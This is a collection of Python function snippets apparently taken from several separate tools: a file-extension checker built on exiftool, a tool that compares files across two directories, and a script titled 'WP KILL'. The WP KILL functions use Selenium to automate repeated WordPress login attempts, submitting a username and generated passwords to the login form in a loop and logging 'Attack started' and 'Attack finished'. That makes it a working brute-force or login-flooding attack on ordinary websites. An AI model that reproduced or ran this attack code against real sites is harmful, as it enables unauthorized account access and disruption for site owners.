def main(): """ Main method """ # Close program if exiftool is not installed if not check_exiftool_exists(): print(colour("[*] Exiftool package not installed", "red")) sys.exit(5) # Output current time of scan print(colour(f"[*] Scan started: {datetime.now()}\n", "green")) # Enumerate files in path file_list = enum_files(scan_path) # Count number of files scanned total_files = len(file_list) scanned_files = 0 # Scan each file and output result for filename in file_list: extension_results = scan_file(filename) # All file extension(s) found if extension_results[0]: print(filename) extensions_match = check_match(extension_results[1], extension_results[2]) print(f"Match: {extensions_match}") # All file extension(s) not found else: nline = "\n" if not extension_results[3] else "" print(f"{filename}") print(f"Critical: 1 or more extensions not found{nline}") # Error reported by exiftool if extension_results[3]: print(f"Error: {extension_results[3]}") if log_flag or log_all_flag: logging.error(f"{extension_results[3]}\n") print(f"Reported: {extension_results[1]} " f"| Actual: {extension_results[2]}\n") scanned_files += 1 # Output comparison of scanned files to total files col_code = "green" if scanned_files == total_files else "red" print(colour(f"[*] {scanned_files}/{total_files} Files scanned", col_code))
def enum_files(folder_path): """ Enumerates files in a path. :param folder_path: Root folder path for enumeration. :return: List containing all files in a folder. """ # List of all files in path f_list = [] # Enumerate files for root, dirs, files in os.walk(folder_path, topdown=True): for file in files: # Generate the absolute/relative path for each file file_path = str(os.path.join(root, file)).replace(" ","\\ ") f_list.append(file_path) # Available files to scan if log_all_flag and len(f_list) > 0: logging.info(f"Available files: {f_list}\n") # No files found elif len(f_list) == 0: print(colour("[*] No files found in specified directory\n", "red")) if log_flag or log_all_flag: logging.critical("No files found in specified directory\n") return f_list
def submit_username(self, element_id): """ Submit username to WP input field :param element_id: HTML username element name """ automate = lambda: self.browser.find_element_by_id(element_id) # automate().click() automate().clear() automate().send_keys(self.username) if not no_feedback: print(colour(f"[*] Username: {self.username}", "blue"))
def submit_element(self, element_id, form_str): """ Submit element to WP input field :param element_id: HTML element name :param form_str: String to input """ automate = lambda: self.browser.find_element_by_id(element_id) # automate().click() automate().clear() automate().send_keys(form_str) if not no_feedback: print(colour(f"{element_id}: {form_str}", "blue"))
def main(): """ Main Method """ # Output title card title = TitleGen(text="WP KILL", author="Primus27").title print(title) start_time = datetime.now() print(colour(f"[*] Attack started at: {start_time}", "yellow")) session_obj = FireFoxSession() print(colour(f"[+] Session started " f"on {session_obj.address}:80", "green")) unreachable_counter = 0 for attempt in range(1, total_attempts + 1): if session_obj.verify_page_responds(session_obj.address): time.sleep(0.2) session_obj.submit_username("user_login") time.sleep(0.2) session_obj.submit_password("user_pass", attempt) time.sleep(0.2) session_obj.submit_form("wp-submit") print(colour(f"[+{attempt}] Attempt completed", "green")) else: print(colour("[-] Unable to load page - Host offline", "red")) unreachable_counter += 1 if unreachable_counter == 5: break end_time = datetime.now() print(colour(f"[*] Attack finished at {end_time}", "yellow")) print(colour(f"[*] Duration: {end_time - start_time}", "yellow"))
def submit_password(self, element_id, gen): """ Submit password to WP input field :param element_id: HTML password element name :param gen: Generated values attached to seed """ password = f"{self.password_seed}{gen}" automate = lambda: self.browser.find_element_by_id(element_id) # automate().click() automate().clear() automate().send_keys(password) if not no_feedback: print(colour(f"[*] Password (last 50): {password[-50:]}", "blue"))
def enum_files(folder_path): """ Enumerates files in a path. :param folder_path: Root folder path for enumeration. :return: List containing all files in a folder. """ # List of all files in path f_list = [] # Enumerate files for root, dirs, files in os.walk(folder_path, topdown=True): for file in files: # Generate the absolute/relative path for each file file_path = str(Path(os.path.join(root, file))).replace("\\ ", "") f_list.append(file_path) # No files found if len(f_list) == 0: print(colour("[*] No files found in specified directory\n", "red")) return f_list
def main(): """ Main method """ # Output current time of scan print(colour(f"[*] Scan started: {datetime.now()}\n", "green")) # Enumerate files in path file_list1 = enum_files(path1) file_list2 = enum_files(path2) path1_count = len(file_list1) path2_count = len(file_list2) match_count = 0 non_match_count = 0 file_found_count = 0 total_iterate_count = 0 print(colour(f"[*] Number of files in path 1: {path1_count}", "yellow")) print(colour(f"[*] Number of files in path 2: {path2_count}", "yellow")) print() for file1 in file_list1: file_found = False filename1 = PurePath(file1).name for file2 in file_list2: filename2 = PurePath(file2).name if filename1 == filename2: file_found = True diff_check = scan_file(file1, file2) print(f"Filename: {filename1}") message = f"Match: {diff_check}" if diff_check: print(colour(message, "green")) match_count += 1 else: print(colour(message, "red")) non_match_count += 1 print(f"Path1: {file1}") print(f"Path1: {file2}") print() if show_not_found and not file_found: print(f"Filename: {file1}") print(colour("File not found in path 2", "yellow")) if file_found: file_found_count += 1 total_iterate_count += 1 # Output comparison of scanned files to total files col_code = "yellow" if total_iterate_count == path1_count else "red" print( colour(f"[*] {total_iterate_count}/{path1_count} Files scanned", col_code)) col_code = "yellow" if file_found_count == path1_count else "red" print( colour( f"[*] Files with the same name found: " f"{file_found_count}/{path1_count}", col_code)) col_code = "yellow" if match_count == (match_count + non_match_count) \ else "red" print( colour( f"[*] Content matches found: " f"{match_count}/{match_count + non_match_count}", col_code))